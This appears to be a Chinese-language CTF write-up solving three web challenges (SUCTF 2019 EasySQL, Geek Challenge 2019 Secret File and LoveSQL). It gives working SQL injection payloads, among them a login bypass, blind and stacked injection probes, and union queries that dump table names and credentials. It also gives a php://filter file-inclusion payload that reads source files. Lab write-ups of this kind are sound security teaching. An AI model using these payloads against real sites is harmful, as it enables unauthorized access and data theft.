目录
[SUCTF 2019]EasySQL
这里发现输入非零数字都有回显,输入字母无回显。
这里猜测到内部的查询语句可能有 || 。
输入1'无回显,果然时SQL注入。(应该是关闭了错误回显,报错注入不可行)
用order去试探有多少个字段,回显为“Nonono.”。这里应该是order by参数被过滤掉了,联合查询不可用了。
1' and length(database())>=1#
试试盲注(布尔盲注)。
1 and if(length(database())>=1,1,sleep(2))#
试试时间盲注。
这里发现,大多数的关键字都被过滤掉了。
最后试试堆叠注入。
查看有哪些数据库和表。
flag应该就在FLAG表中,试着查看,发现被过滤掉了。
因为输入非零数字得到的回显1和输入其余字符得不到回显,所以来判断出内部的查询语句可能存在有||。此时||起到了or的作用。
这时对后端语句进行猜测,内置的SQL语句为:
sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select *,1||flag from Flag;
这里直接构造Payload为:*,1
得到flag。
[极客大挑战 2019]Secret File
老规矩查看页面源代码,发现了“Archive_room.php”。
这里看到了一个button,点进去。
发现直接跳转到了end.php。
继续查看源代码,发现了"action.php"。
但是,发现"action.php"无法访问,又跳转到了"end.php" 。
这里猜测,应该是跳转的很快,所以我们需要用Burp Suite进行抓包。
发现有一个隐藏的回应。于是访问"secr3t.php"。
发现,flag放在了"flag.php"中。于是访问"flag.php"。
而且发现filter没有被过滤掉。
flag被遮挡了......
这里想到文件包含漏洞,我们可以使用PHP伪协议获取文件。
构造Payload为:
?file=php://filter/convert.base64-encode/resource=flag.php
得到flag。
[极客大挑战 2019]LoveSQL
发现了登录框,用万能登录试试。
用户名:1' or 1=1#
密码:111
显示登录成功,得到了用户名和登录密码。而且可以看到,跳转到了"check.php"界面。
继续注入。
当在url中输入:check.php?username=admin' order by 4%23&password=1
发现报错,可知共有3个字段。
这里我们用union测试回显点位,也就是注入点。
/check.php?username=1' union select 1,2,3%23&password=1
查询当前数据库名和版本。
/check.php?username=1' union select 1,database(),version()%23&password=1
这里我们得知当前数据库为geek。
爆表。
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆"l0ve1ysq1"这个表的字段。
得到了3个字段,继续去爆数据。
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
拿到了flag。